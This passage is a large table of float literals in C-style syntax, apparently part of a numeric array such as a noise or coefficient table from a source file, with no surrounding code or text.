0.521475917548504f, -0.479539088650145f, 0.695075897089419f, -0.0365115706205694f, 0.0256264409967832f, -0.0121306374106025f, -0.817618774100623f, 0.375407640753000f, 0.944299492219378f, -0.717119961760812f, -0.120740746804286f, 0.995225399986245f, -0.460846026818625f, 0.904552069467540f, 0.807270804870602f, -0.842962924665094f, -0.923108139392625f, -0.130295037856512f, 0.760624035683226f, 0.986419847047289f, -0.959218334866074f, -0.203345611185410f, -0.474420035241129f, -0.872329912560413f, 0.485994152094788f, -0.515456811755484f, -0.948541161235413f, 0.509659433909651f, 0.783030335970347f, -4.41004028146619e-05f, -0.664795573083349f, 0.917509788523214f, -0.824045573084530f, -0.461857767121051f, -0.667434409929092f, -0.00822974230444418f, 0.825606347148302f, -0.396378080991589f, 0.0161379983198293f, -0.940751675506308f, -0.520997013834332f, -0.239727035024153f, -0.354546027474561f, 0.430652211989940f, -0.557416557692462f, -0.357117274957257f, -0.891975448321656f, -0.0775302131779423f, 0.716775563686830f, -0.903453980341467f, 0.946455001410598f, -0.615060907661003f, 0.964288374469340f, 0.0506144897273089f, 0.720601612869967f, -0.991323837622476f, 0.647403093538608f, -0.400304988135589f, -0.883732066109751f, -0.792060477777513f, 0.710867542231890f, -0.840766000234525f, 0.460362174479788f, -0.834771343071341f, -0.329399142231491f, -0.139853203297018f, -0.760035442359396f, -0.546795911275364f, -0.598172518777125f, 0.244198671304740f, 0.0816980976432087f, -0.978470883754859f, -0.425173722072458f, -0.469868865988971f, 0.847396146045236f, 0.0513388454446360f, -0.545662072513986f, -0.130534232821355f, -0.654100097045099f, 0.0409163969999120f, 0.573001152600502f, 0.706046270983569f, 0.587208280138624f, 0.237670099964068f, 0.848355476872244f, -0.318971649676775f, -0.659343733364940f, 0.321817022392701f, -0.595779268050966f, -0.114109784140171f, 0.998897482902424f, -0.615792624357560f, -0.384232465470235f, 0.156963634764123f, 0.499645454164798f, -0.627603624482829f, 0.169440948996654f, 0.109888994819522f, -0.492231461622548f, -0.463014567947703f, 0.825436145613203f, -0.0271223123229367f, 0.497887971992266f, 0.811868354230459f, -0.192668816770168f, 0.287930938097264f, 0.0283112173817568f, 0.791359470942568f, 0.365100854153897f, -0.566922537281877f, 0.915510517906894f, 0.674211624006981f, 0.505848146007678f, 0.509348889158374f, -0.0477364348461706f, 0.409703628204478f, -0.820970358007873f, -0.565377675052345f, 0.810052924776160f, -0.448904038826591f, -0.830251135876445f, -0.660589978662428f, -0.890196028167542f, 0.130526506200048f, 0.924600157422957f, 0.587215078998604f, 0.727552064386916f, -0.224172021948978f, -0.182984019951690f, 0.308546229024235f, 0.971188035736775f, 0.0229902398155457f, 0.0608728749867729f, -0.0712317776940203f, 0.549832674352445f, -0.600015690750697f, -0.0495103483291919f, -0.564669458296125f, 0.726873201108802f, -0.197851942682556f, -0.983422510445155f, -0.905314463127421f, 0.453289030588920f, 0.792504915504518f, -0.840826310621539f, 0.0979339624518987f, -0.506416975007688f, -0.143310751135128f, -0.451251909709310f, -0.356156486602212f, -0.430777119656356f, -0.593002001098269f, -0.212505135257792f, -0.378005313269430f, 0.516460778234704f, -0.574171750919822f, -0.702870049350445f, 0.190454765104412f, 0.694962035659523f, 0.177498499962424f, -0.00126954773922439f, -0.766110586126502f, -0.769862303237397f, -0.208905136673906f, 0.0728026097773338f, -0.467480087700933f, -0.368839893652514f, -0.608806955889496f, -0.531329879815774f, 0.411920547737697f, -0.407318902586407f, 0.922406353838750f, -0.0272310683929855f, 0.781051179942937f, 0.860271807949640f, -0.703736733439623f, -0.285650334863399f, -0.466904334435873f, -0.716816768536707f, 0.0869377378786880f, -0.280331892461309f, 0.773946156883160f, -0.139856444064730f, 0.575680110908147f, -0.887887626173303f, 0.314286545048942f, 0.673119170729964f, 0.520399233930039f, 0.581347801663144f, 0.731708017815653f, 0.672583525027818f, -0.0534590776637494f, -0.880572908687369f, 0.171150522778545f, -0.377041265530122f, -0.478003213002057f, 0.458602883802583f, 0.836824527658741f, -0.0686622680764437f, -0.301000630566919f, -0.652562984155554f, 0.604631263268903f, 0.791770979838877f, 0.0790491584346489f, 0.812646960034949f, 0.138794042671596f, 0.709411730079774f, 0.226484869016811f, 0.797388098554019f, -0.162225991160828f, -0.0295749256270541f, 0.218242165083417f, 0.442845427695148f, -0.480622209857766f, 0.873464432574125f, -0.868017543466245f, -0.435489784247438f, 0.0589001507244313f, 0.829134536020168f, 0.614063504046069f, -0.0498036542372153f, -0.803122689381969f, -0.495207870035615f, -0.126836582496751f, -0.0715271574335641f, -0.600815700055194f, 0.434993547671690f, -0.891665893518364f, 0.515259516482513f, 0.475325173737397f, -0.716548558025405f, -0.881097306400870f, 0.738462585443836f, -0.244486212870867f, -0.750368936394211f, 0.303496411011494f, -0.602701428305057f, -0.400346153635480f, -0.300002744969481f, -0.518552440201900f, 0.437964598712580f, -0.816689813412280f, -0.814392666138757f, -0.888568091915377f, 0.449416911306476f, -0.231889259488176f, 0.589775175288682f, 0.817224890217553f, 0.518646001325967f, -0.406046689874425f, -0.822100925750380f, 0.0528571826460145f, 0.502410576690672f, -0.795964394123106f, 0.0587614583641718f, -0.960750994569408f, 0.0366871534513058f, 0.723018804498087f, 0.0607565140068052f, 0.337380735516841f, 0.810682513202583f, -0.636743814403438f, 0.287171363373943f, -0.651998050401509f, -0.913606366413836f, 0.642186273694795f, -0.197674788034638f, -0.261253290776174f, 0.696450222503413f, -0.178859131737947f, -0.388167582041093f, -0.0593965887764258f, -0.638517356081890f, 0.804955770174156f, 0.220726627737384f, 0.263712659676167f, -0.214285245576410f, -0.267640297291737f, -0.268009369634837f, -0.957726158424482f, 0.708674977585603f, 0.336764494287156f, -0.985742981232916f, -0.883053422617300f, 0.560301189759340f, -0.692967747323003f, 0.977419052658484f, 0.0749830817523358f, 0.916618822945019f, 0.941660769630849f, 0.454145712080114f, 0.176036352526593f, 0.103229925297037f, 0.936507745325933f, -0.870159095287666f, -0.106465234217744f, 0.684178938709319f, 0.669775326656340f, -0.620857222834950f, 0.939074959093680f, -0.592224920792423f, 0.620706594809134f, 0.0456831422421473f, 0.738727999152789f, -0.751090911501446f, 0.683669216540363f, 0.153825621938168f, -0.255671723273688f, -0.773772764499189f, -0.667753952059522f, 0.887641972124558f, -0.664358118222428f, 0.512196622998674f, -0.0234362604874272f, 0.942878420215240f, -0.406617487191566f, -0.140379594627198f, -0.0587253931185765f, 0.419570878799757f, 0.533674656399007f, 0.108777047479414f, -0.695880604462579f, 0.481525582104998f, 0.511165135231064f, 0.136105196996658f, -0.481918536916982f, 0.757546893769363f, 0.957648176032083f, -0.908743619686586f, -0.395640537583668f, 0.0493439519763970f, 0.293569612893396f, 0.387420368421925f, 0.0928482742403196f, 0.407302666835821f, -0.787979245337637f, -0.968269218296593f, -0.409517247978962f, 0.775076200793689f, -0.217738166217447f, -0.370002483875998f, -0.570975789421316f, 0.844070553036478f, 0.668620483679341f, 0.00139813137293987f, -0.0912495442122028f, -0.0375370940595317f, 0.723007849224616f, 0.369999774115317f, 0.862240371150479f, 0.749525689790910f, 0.742992309993137f, -0.495813719545874f, -0.101947508108870f, -0.152536889610560f, 0.0598123624723883f, -0.436496899502871f, 0.520026918467263f, 0.241005798945400f, 0.970456690492966f, -0.376417224463442f, 0.614223236672359f, 0.336733945081746f, 0.376602027190701f, 0.00373987228923456f, -0.415425448787442f, 0.330560415319813f, -0.277250467297048f, 0.861008806111330f, -0.00655914035278493f, 0.810375656135324f, -0.0113631690466840f, -0.191699616402287f, -0.808952204107388f, 0.813180054552450f, 0.472985418265257f, 0.180147510998781f, -0.262580568975063f, 0.211152909221457f, -0.882514639604489f, -0.575589191561861f, 0.106927561961233f, 0.964591320892138f, 0.738192954342001f, 0.687649298588472f, -0.229142519883570f, -0.354434619656716f, -0.420522788056562f, 0.684638470896597f, -0.608080686160634f, 0.172668231197353f, 0.571295073068563f, -0.202258974457565f, 0.183035733721930f, -0.425589835248751f, -0.181955831301366f, 0.798193178080558f, -0.719799491928433f, -0.376418218727565f, 0.100370714244854f, -0.674685331738723f, -0.528950922374114f, 0.480443520097694f, 0.432497368954013f, 0.887439714903326f, 0.598241701759478f, -0.250064970303242f, -0.743111010477448f, 0.936189907099845f, -0.867383557331633f, 0.852536175309851f, -0.426378707286007f, 0.793838638663137f, 0.856262917294594f, 0.734157059815547f, 0.00452009494051664f, -0.884258713402709f, -0.0835595438259760f, -0.735457210599502f, -0.710727075357488f, 0.858050351034768f, -0.626070522205317f, -0.848201957131499f, 0.0180933910837406f, -0.0350884878366737f, -0.893836321618480f, -0.0682788306189803f, -0.539993219329871f, -0.557660404374917f, 0.268969847256868f, 0.505363999910409f, -0.0464757944714727f, -0.529689906951922,
-0.138445378586710f, 0.992531054118938f, 0.974585450054910f, 0.940349645687053f, 0.648085319100986f, -0.410736404028701f, 0.804131759246012f, -0.774897101314247f, 0.178246382655493f, -0.361699623232501f, -0.836093509684016f, 0.806309487627613f, -0.758182371322663f, 0.718410035716663f, -0.213136487421868f, -0.0563465521625497f, 0.0411192849612654f, -0.532497330327019f, -0.0419839515250475f, 0.769432068229678f, 0.253556234192255f, -0.745131216530268f, -0.890639235422577f, -0.140643637034330f, 0.318127074868768f, -0.497415632768561f, -0.383508820416842f, -0.468783454456628f, -0.289531078129000f, -0.0831555730758713f, 0.0107128404847427f, -0.567754537918270f, 0.926366772604370f, -0.600154724486768f, -0.0920759547805206f, 0.889582307602381f, -0.0710437157605615f, -0.182724716112986f, 0.228135065644420f, 0.851015495602628f, 0.653035806598961f, -0.986676404958677f, -0.871714951288816f, -0.824734086356281f, -0.490239304888267f, 0.244318295619814f, -0.923794688606381f, 0.670566388343457f, 0.849438492633058f, -0.225318912425116f, 0.461075616917687f, 0.656436404012820f, -0.416403369651597f, 0.205630417444150f, -0.163509095777762f, -0.0670299490212758f, -0.315561491397908f, -0.0952855008191476f, -0.377993693497066f, 0.860172853824826f, -0.669622978211317f, 0.595058880455053f, -0.425661849490015f, -0.0405359106780283f, 0.129968697438974f, -0.156244199842099f, 0.996996665434629f, -0.888570357356090f, -0.925646614993414f, -0.753998082238076f, 0.714491335460749f, -0.307849905639463f, 0.536274323586448f, -0.462944722411129f, 0.622202376598447f, -0.215582012734053f, -0.115115003363232f, 0.128168110175570f, -0.556263623663708f, 0.921813264386344f, -0.288173574121268f, -0.175054002159610f, 0.0621862747516269f, -0.468862899314091f, 0.976184545317535f, 0.468469061953779f, 0.679394669665911f, -0.0651943232114096f, 0.872740953203360f, -0.917720162541254f, 0.271535917769933f, 0.265441861283112f, 0.542190484993772f, -0.0208550501604048f, 0.983272473294640f, -0.522164666401537f, 0.833823680455458f, 0.414337644113416f, 0.588576354535126f, 0.318369292694380f, 0.870442561030567f, -0.422722224743553f, -0.200185003922166f, -0.770185495487048f, -0.878134057034045f, -0.712873198675798f, 0.647706512601268f, 0.593648188899773f, 0.126171748161942f, -0.189622212946038f, 0.707877641788638f, 0.790070498218410f, 0.698576567863428f, 0.594748885238005f, 0.567439045931572f, -0.591839707769224f, -0.632709967090349f, 0.415471238430617f, 0.115403276784208f, -0.375797954748234f, 0.123611001678020f, -0.864109581464288f, 0.115346512920739f, -0.515581940111704f, 0.880606114362175f, 0.356011740142007f, -0.318112820131587f, 0.765766689783476f, -0.226772670084743f, 0.442067390135885f, 0.348547568069751f, 0.862154389627291f, -0.894863284060244f, 0.475714942110286f, 0.552377629980789f, -0.0838875341374268f, -0.227654706745770f, 0.0998522598030438f, 0.870812229993830f, -0.518250234958224f, -0.0635791579471283f, -0.284101882205902f, -0.454751668241269f, 0.720773434493943f, 0.0756117818245317f, -0.0572317848090118f, -0.692584830354208f, 0.776250173796276f, 0.514052484701885f, 0.00770839936587864f, 0.775668871262837f, 0.933055956393907f, 0.0501713700022097f, -0.922194089981246f, 0.266653852930886f, -0.408584553416038f, 0.797066793752635f, -0.785570848747099f, 0.931403610887599f, 0.660859952465710f, -0.630963871875185f, -0.673000673345695f, 0.518897255252506f, -0.342041914345720f, 0.405613809903414f, -0.373516504843492f, -0.208292396009356f, 0.0510871025610438f, 0.396765368381847f, 0.00537609874241829f, 0.935717099427788f, -0.564801066383885f, -0.907523685862547f, 0.670551481631625f, -0.457309616171932f, 0.364001526470449f, 0.140805524345232f, -0.349945327329409f, -0.0361532758624807f, -0.304268551311720f, 0.618482952755668f, -0.0120110524971313f, 0.106364353621731f, -0.427587198043230f, 0.464249033810121f, -0.808297048471569f, 0.675277128303038f, -0.0663762607268352f, -0.431951364170808f, 0.953951718476660f, -0.725934553905574f, -0.685163723789561f, 0.164132617720945f, 0.934798872032034f, -0.695343627424553f, -0.420317401094920f, -0.689247558220342f, -0.605894279765940f, -0.693832779320227f, 0.455037128281788f, 0.968645000038447f, -0.0839147410947130f, 0.603463489419899f, 0.776913738299999f, -0.491560292499776f, 0.692235227850848f, 0.0824017593921889f, 0.459024952691847f, -0.918050509352710f, -0.777463066447746f, -0.161045596440278f, 0.982603547894360f, 0.700884888820475f, 0.998304481713913f, -0.362488733430088f, 0.171493948866881f, 0.565871153533442f, -0.965620428705067f, -0.835532968802398f, 0.885598629033760f, 0.609604257914327f, 0.725300244775050f, 0.153524048564152f, -0.662541112390878f, 0.912145212201290f, 0.135610445338421f, -0.0813934125800109f, 0.242209063597546f, -0.264886126609115f, -0.335070345839122f, 0.823958964903978f, -0.313110855907701f, -0.354068037633970f, -0.0381190024996405f, 0.117794735211134f, -0.604442743379238f, 0.524930955656444f, -0.754959642694882f, -0.359151666678207f, -0.247910739722172f, 0.573570999369016f, 0.543167570010806f, -0.718553346110069f, 0.202415372555816f, -0.860091438569300f, -0.0125446132328610f, 0.509348782140749f, 0.349261188228469f, 0.424395913611831f, 0.0557092265870811f, 0.740276822496471f, 0.479158001215769f, -0.221873518706244f, -0.744883456979009f, 0.393114117430743f, -0.733203119089531f, -0.506531269498885f, -0.505532097672033f, -0.509440981371663f, 0.666118722468113f, 0.0164067375520756f, -0.530276655546078f, 0.786338654343788f, -0.985008085364936f, 0.479988836226036f, -0.233652481382475f, 0.838641098910395f, -0.407379719374768f, -0.314266358910263f, -0.938033692224531f, -0.627320971378707f, -0.229174127295511f, 0.642505983671691f, -0.387855473250297f, 0.360324209821339f, -0.900766206699468f, 0.176676285751262f, 0.833894117554548f, -0.0207873177403817f, -0.202625183820044f, 0.706644325019314f, -0.817922707040537f, -0.242742059004419f, 0.282109349674866f, 0.0164603911954744f, -0.504625902855950f, 0.0415496120997125f, -0.787777778295785f, 0.362588721999523f, -0.371357162843751f, -0.818375262182416f, 0.727779997467707f, -0.836502839702384f, 0.0423869176265037f, -0.283934686546853f, 0.665864224978728f, -0.0428162304637920f, 0.243534621880753f, -0.803789304599586f, 0.570866852088607f, 0.340615579467880f, -0.323456502239327f, 0.403242371952148f, -0.0679158901587793f, -0.866985651416456f, -0.439873628406335f, -0.246357367033863f, 0.436234859832243f, 0.560714706225535f, -0.632564381913014f, -0.316451076258298f, -0.977122780282003f, 0.0741405862954117f, -0.217862250253606f, 0.887093089232476f, -0.418281865182365f, -0.638553415535034f, -0.262631979211197f, -0.567499176465252f, 0.676178859605923f, 0.933551699581608f, -0.0139735129263516f, -0.610719575803582f, 0.565123751720690f, 0.230672823422021f, 0.323935439339366f, 0.635142215896104f, 0.981184609133698f, 0.883668802319366f, -0.281281673616891f, 0.583204242495555f, 0.150854689098149f, -0.775890223139644f, 0.419951701513177f, -0.565767744791652f, -0.855232478054420f, 0.472188579901153f, -0.501463211798228f, 0.727960518524943f, 0.977187851385321f, 0.908113737694915f, -0.570200931535418f, 0.716036980035073f, 0.147838037485588f, 0.218820342222622f, -0.0673193461152677f, 0.433612519652386f, 0.449601736390411f, 0.556458722303960f, 0.417345590820787f, -0.783345413347895f, 0.858903187230710f, 0.178354025272247f, -0.130619018471658f, 0.858282827806003f, 0.508916167873459f, 0.139535936201634f, 0.240400109521332f, -0.102942705407161f, 0.841682417072375f, -0.696350979494975f, -0.793644449061670f, -0.698273636720141f, -0.228676865074326f, -0.195917865828574f, -0.306483109792438f, -0.865320326812636f, 0.659185969805107f, -0.368847387975239f, 0.337343722359231f, 0.0723822170210744f, 0.907475280998826f, 0.515168301614856f, 0.0790167120323961f, -0.756697420780699f, 0.966477562469936f, -0.663190129982788f, 0.145761851826854f, 0.376079225193173f, 0.631883071958707f, -0.956568110802436f, -0.735990864315730f, -0.795999578321461f, 0.958459465243432f, 0.319180429028702f, -0.907664654881857f, 0.992381284978014f, -0.511208110440365f, -0.714797966909523f, -0.717021870210999f, 0.545775837604423f, -0.0443828768329362f, 0.333311879948434f, 0.617237628406207f, -0.0895192882305207f, 0.506491005527430f, -0.354205929841282f, 0.777993157224477f, -0.667532693120319f, -0.105006112097613f, -0.337191911902220f, -0.337964429160738f, 0.609014812897482f, -0.368922911475613f, 0.889184378947484f, -0.676392242654630f, 0.429716870038086f, 0.916751115281822f, -0.655611878274175f, 0.538928395264007f, 0.382674384886170f, 0.0580742902089004f, -0.0124611362991478f, -0.0240388340005702f, -0.726296501832402f, -0.805701334732693f, 0.945344279474230f, -0.668066000378724f, 0.761436128738929f, -0.314275650172792f, -0.394331510439346f, 0.262887592668013f, 0.155064800148016f, -0.561829218656134f, -0.491542446753775f, 0.922248338472926f, 0.574575887413700f, 0.631722295929094f, -0.368854197209698f, 0.984780657580794f, 0.845286034922662f, -0.965631634115590f, -0.435710392440405f, -0.616488688868478f, 0.885865616625930f, 0.425733070487506f, 0.776721663555227f, -0.0652930284860209f, -0.734431875923792f, 0.725517937762654f, -0.474146253075108f, 0.895357779508529f, -0.0725048758018345f, -0.360185856190223f, 0.559350280666427f, 0.363695103660096f, 0.152231254765544f, 0.698196273442671f, 0.0518001104801953f, -0.139037096279713f, 0.340637636595997f, 0.584243998596814f, -0.442304329829130f, -0.501574294329747f, 0.250155103662225f, 0.320493999001502f, -0.150217982700108f, -0.0381390799255577f, 0.734760815545772f, -0.574574233376749f, 0.593440338163725f, 0.408049858247104f, -0.0845023181203484f, -0.855507806920297f, -0.473198309372409f, 0.331033392104072f, 0.196445364460658f, -0.799745050834061f, -0.973517526224363f, 0.333748727500822f, -0.772356831553232f, -0.430793038424357f, 0.649852557262489f, 0.504357958431509f, 0.779588082810134f, 0.0111847677569461f, -0.995526851285634f, -0.676007517368195f, 0.216774012875664f, -0.618928775636485f, -0.418043155155598f, -0.532063904545563f, -0.566979013994587f, 0.246319907266774f, 0.868651379198082f, -0.0433430896891542f, 0.463004686009427f, -0.162112430964754f, 0.285379745117090f, 0.901512987149549f, -0.706916206313139f, 0.685678130935725f, -0.673017501666538f, 0.0616272859909088f, 0.147532779463338f, -0.0108539826652629f, 0.960841184863269f, -0.950190006701182f, 0.992171414792924f, 0.715577145884581,
0.975908103138584f, -0.769014520827696f, -0.463212420186382f, -0.0761813427220397f, -0.704830850508594f, -0.220579724380686f, 0.840893269946637f, -0.432181989863148f, -0.956790418498701f, 0.122344784859397f, -0.242133592220528f, 0.908514497715246f, 0.303653521236872f, 0.756500828196849f, -0.752207807361831f, 0.367894642791072f, -0.702474131286247f, 0.189226989057138f, 0.401804209353236f, 0.608493473010907f, -0.437378101171900f, -0.158801297891213f, -0.381027984311046f, -0.949403985394057f, 0.370189685252539f, -0.872655295458655f, -0.337934909993878f, -0.0619622888328213f, 0.352094440420005f, 0.128759637109350f, 0.432413186229881f, -0.497474226759161f, 0.552933107875735f, 0.332665936587804f, -0.559261497212156f, -0.886188834336549f, 0.0170548801295034f, 0.192729852728271f, -0.674432365770129f, -0.526014722983374f, 0.425009223123802f, -0.186164676538888f, 0.190362042383007f, -0.0930204201587825f, 0.794188212052413f, -0.243549629178106f, 0.118970185744958f, -0.216230226310237f, 0.412570247218594f, 0.659556685538155f, -0.150540425515543f, -0.850858266540316f, -0.843827815842486f, 0.629298164439457f, 0.944304062363374f, -0.117764731240517f, 0.558568737697335f, 0.731745392387362f, -0.00413812760139165f, -0.251933493011685f, -0.473346352965658f, 0.178783613032362f, 0.547769344759580f, -0.414330113592064f, -0.550251453379012f, -0.925253680779905f, 0.623832825809309f, -0.494251081521428f, 0.0643361026845244f, 0.727107898350051f, 0.814864886916156f, 0.0177325632172460f, 0.749324691554934f, -0.266301024849295f, 0.675202550635588f, -0.0748462128620644f, -0.747853513216831f, -0.222563643557406f, -0.608884446788701f, -0.0374135649675464f, 0.852579123003940f, -0.585927920129879f, 0.604065857569210f, 0.573072924781108f, 0.816831955879520f, 0.723975232584095f, 0.367887024581694f, 0.765292601085641f, 0.836490699448589f, 0.623434131440044f, 0.743568762340577f, 0.140474444458222f, -0.746327891490507f, 0.700496422194197f, 0.549693846244016f, 0.729372970291116f, 0.728185563682229f, -0.614909046853182f, -0.756209631211223f, -0.530222413502955f, -0.312453162783936f, -0.752364704008701f, -0.634475515424180f, -0.133239439768175f, 0.252790153178337f, 0.760626105409900f, -0.838262213452153f, -0.266093046689486f, 0.549339088324875f, -0.278178592347115f, 0.190458706141960f, 0.906814275056971f, -0.579827980376046f, -0.134191470195968f, 0.244720998349483f, 0.795502128014338f, 0.287019836683889f, -0.906277889518234f, -0.817071933038363f, 0.613378274793081f, 0.518208081766432f, -0.388902790616382f, -0.785778461147273f, 0.574976429920521f, -0.283168065839246f, -0.857322381041868f, 0.424932015236353f, 0.919756642423073f, 0.412896759578072f, -0.976511020897041f, 0.157825653359643f, -0.0606591903280758f, 0.508438714729350f, -0.513115001652116f, 0.881391940997543f, -0.129708782033534f, 0.382462819411800f, -0.538751535594113f, 0.816770663497783f, 0.869013288394013f, -0.728381721932439f, -0.956736333819522f, -0.839107107637575f, 0.394821058517234f, 0.721983518815999f, -0.0847231453556103f, 0.0206545030491683f, 0.414707730497861f, 0.246591855656934f, -0.546187573590839f, -0.578957978692654f, 0.162844799084821f, 0.493731081270802f, -0.765815587549615f, 0.151613093585910f, -0.112883397239635f, 0.879319928900002f, 0.295375250614654f, -0.505370201033860f, -0.635319167339584f, -0.309818465920078f, 0.768627024018538f, -0.544374452091825f, 0.758974060573473f, -0.106050973670013f, 0.508616501970226f, -0.207224226211215f, 0.616842248601645f, 0.688381226662374f, 0.643728558619948f, -0.906982649598668f, 0.526262112978799f, -0.666644270400075f, 0.314806313630502f, -0.292000096972562f, -0.358353880616007f, 0.156344541906829f, 0.637606941586786f, -0.199572501073669f, -0.669369278061572f, 0.237513395315133f, -0.576741807179552f, 0.0750117203638310f, -0.633877533594996f, 0.829285089669934f, 0.622345234313277f, -0.892617583855908f, -0.280449892200797f, 0.241147361581176f, -0.0784016295955696f, 0.414945819313502f, 0.287238318044040f, -0.691458270387106f, 0.597656137422422f, 0.549022082569726f, -0.590776624040652f, 0.666740423918019f, -0.743115212424850f, 0.164036350785269f, -0.229427480781113f, 0.283602991107853f, -0.533993445778340f, 0.185806116700093f, -0.317953364055307f, 0.140412503708198f, 0.280706883979940f, 0.0439806827213221f, 0.176471515460512f, -0.614144204292693f, 0.314194083857125f, 0.519572839644130f, -0.850547081260782f, -0.515460990713008f, 0.353087995032390f, -0.0241014119925820f, 0.269453276643829f, -0.608515317887958f, -0.777818225534647f, -0.834277444316067f, -0.842707175235771f, -0.929547602540323f, -0.884691870945475f, 0.710591809809692f, 0.143423776629673f, 0.797136471728128f, 0.233311155245426f, -0.923169961754164f, 0.627911916101674f, -0.338187201367212f, 0.211044396110784f, -0.443699655795038f, 0.256593551969761f, -0.406688684034041f, 0.364900889856600f, 0.900530571350288f, -0.160476177153537f, 0.0634217008071056f, 0.709241599309354f, -0.789562037599596f, 0.00891621061029158f, 0.801674768895422f, -0.704378031949125f, 0.430576706378041f, 0.796937507044124f, -0.193348850174576f, -0.493924902919358f, -0.935781577118986f, 0.468142331108629f, 0.00965840085728753f, 0.0834398764999438f, 0.599712941235232f, -0.735675950275295f, 0.200152501800787f, -0.751603779675650f, 0.0697488403240092f, 0.300634243862625f, -0.901969784333300f, -0.958816237033024f, -0.754976119377363f, 0.719702182489622f, -0.338038642556184f, -0.703280944186943f, -0.579148694005994f, 0.556115731092296f, -0.920710928208685f, -0.278178108839470f, -0.793795308512285f, 0.916547680808212f, 0.419467216101691f, 0.177932177026735f, 0.682833725334600f, -0.926849803428705f, 0.179045225389745f, -0.209414969718359f, -0.889551871881532f, 0.961659420127890f, -0.250341627298645f, 0.105606170554974f, -0.547860346689080f, 0.845704098204057f, 0.886892635683680f, 0.768134466622042f, -0.954777823503721f, -0.718106389777233f, -0.580779231998609f, -0.0241800476518665f, 0.815063484178525f, -0.351971452344303f, 0.770369263680192f, 0.520886146470712f, -0.236456125482696f, 0.0900173391919312f, -0.00610611501589697f, 0.0986788038317752f, 0.277083194173223f, 0.0877085076786761f, 0.695814138412262f, 0.281021332783082f, -0.701468161850407f, -0.785496560046616f, -0.805623403379156f, -0.0524204125046179f, 0.0836418099696601f, 0.467252832788807f, 0.148967572323544f, 0.314141193557124f, -0.722297309069329f, 0.147068590429361f, -0.868307069306109f, 0.118712645744921f, 0.737896544941878f, 0.897526485681248f, 0.842207508585120f, 0.817408479766998f, 0.522315328909182f, -0.409136979179218f, 0.580654760034574f, -0.384701243761730f, -0.769398544059918f, -0.791317178699730f, 0.357020281620118f, -0.235410423267782f, -0.326332500533018f, -0.416891876268284f, -0.863029987000052f, 0.505171215727166f, -0.728709553380428f, 0.554546891580919f, 0.737429989077498f, -0.355088598334119f, 0.911987317939763f, 0.525846127625130f, 0.851549830104189f, -0.772303673276796f, 0.0421942169353806f, -0.521836640530782f, 0.995279650924240f, -0.186831960875832f, 0.421233670121556f, -0.0891583750230474f, 0.661100169663965f, 0.393809652414978f, 0.346165179707090f, 0.384203760628548f, -0.329281932973211f, 0.446133401546675f, -0.748200766224366f, -0.0275154142375615f, 0.771701580845288f, -0.0177829993094090f, 0.406813206251131f, 0.606021648140155f, 0.218435152341115f, 0.236571855064013f, -0.513495776515847f, 0.729086381137554f, -0.137775825035815f, 0.0320966747364262f, -0.313487802206023f, 0.105472520924239f, 0.423606700821375f, -0.231301628369264f, 0.465218832919270f, 0.379671652150568f, -0.00497780485272159f, 0.509290230688327f, 0.467240127182068f, 0.353587964503845f, 0.390455232684039f, 0.721536288927627f, -0.838922323815237f, 0.827628029266859f, 0.768844149796201f, -0.813963144642386f, -0.797054297232628f, -0.933039367361175f, -0.0723957249866136f, -0.664824147893300f, 0.695914840901794f, -0.206071660300270f, 0.879389414398409f, 0.181872681691416f, -0.582831210733033f, 0.624249199449935f, 0.204959730900228f, 0.354831594370532f, 0.337152636438178f, 0.596132114241829f, -0.295619496794481f, -0.443402055665686f, 0.743995051028396f, 0.543706744165365f, 0.825846155044062f, -0.764982315603181f, -0.0355223730700034f, -0.682467026736627f, -0.914037445162109f, -0.222823484413727f, 0.825323277024566f, 0.0769459194171547f, 0.696453968928934f, 0.760786120466962f, -0.525470048583831f, 0.764981036001869f, 0.458525204937000f, -0.612703584870878f, 0.626016142683351f, 0.284799326870320f, -0.130410894642153f, -0.730659587111424f, 0.0251896513929686f, 0.744421417725379f, 0.481278905427271f, -0.718686189713675f, -0.972110566787501f, -0.178005803066219f, -0.761536801353512f, 0.675177569459847f, -0.613068600254845f, -0.854757540148688f, 0.641823580903407f, 0.112536000301536f, 0.201235170163357f, -0.332623522893231f, 0.602028236317460f, 0.487529253813741f, -0.936537443253385f, 0.932862477850079f, -0.0977461167435834f, -0.485449569929182f, -0.575807340541437f, -0.920527242558033f, -0.938208754460503f, 0.890054000488493f, -0.154888511872567f, -0.106629818916523f, 0.323343252623500f, 0.105328135407289f, -0.837197492121459f, 0.497769113944639f, -0.234127101891878f, 0.840922493788059f, -0.994297350473539f, 0.241966031396186f, -0.241143860453769f, -0.598953146106117f, 0.839112451637864f, -0.639567866338402f, -0.219908091959649f, -0.778137266578287f, -0.201424793310289f, -0.486105622640452f, 0.874947034932591f, -0.131437343585340f, -0.674427373037920f, -0.161007203320351f, 0.215285933912207f, -0.963047650748652f, -0.841020847986178f, 0.259702280444602f, -0.165325097679823f, 0.572379756389254f, -0.435802768396928f, -0.0776125194906274f, -0.0293182206559168f, -0.847945015803839f, -0.576891917046364f, 0.728544652294888f, 0.110676857648527f, 0.760459056611184f, 0.486936926897001f, 0.680603035572503f, 0.330358411271561f, 0.901153157113818f, -0.893323547516767f, 0.268679990552354f, 0.794615743189695f, 0.221637368947158f, -0.0207579360252996f, -0.585634995914835f, 0.587646126395593f, -0.317780705107399f, 0.790321547328449f, 0.251610679655279f, -0.0386445267248654f, 0.881542790650722f, -0.469258891944944f, -0.900544881246558f, -0.344978220866601f, -0.271404539202745f, 0.863631450621357f, 0.805892242474368f, -0.325004362330199f, -0.649692260224921f, 0.535815472185538f, 0.427767946389023f, 0.924517987543855f, 0.571059970962007f, 0.549923246060706f, -0.639468249016352,
0.307213071097954f, -0.885892976847170f, -0.526002656640427f, 0.733743042788359f, 0.186919211020217f, 0.322167483598106f, -0.933484010727969f, 0.307181642341518f, -0.391959805653480f, -0.892298105797306f, 0.100065710151584f, -0.932962740784651f, -0.643536993204857f, 0.200747180046148f, 0.310831344540979f, -0.923416823619512f, 0.440768799148345f, -0.666930667413366f, -0.485487251971431f, -0.0627811951952384f, -0.331082293469460f, 0.0335811939608148f, -0.653610782697787f, -0.320586426505716f, 0.559163070852115f, -0.497363452770543f, -0.329886484503569f, -0.146612217140156f, -0.0265272745798242f, -0.288663397675155f, -0.996138396801714f, 0.705746028666908f, 0.634215549629091f, 0.165248482682243f, -0.110791752682943f, -0.0583711657160508f, 0.704663932851230f, 0.105987046073574f, -0.674234600022039f, -0.852792911043127f, 0.779458558047699f, -0.506163961277651f, 0.661431789813829f, 0.362986600662932f, 0.677673397902417f, 0.909704544299484f, -0.678129611146149f, -0.700854916363125f, -0.954905799366644f, 0.819329178422143f, -0.278866438326573f, 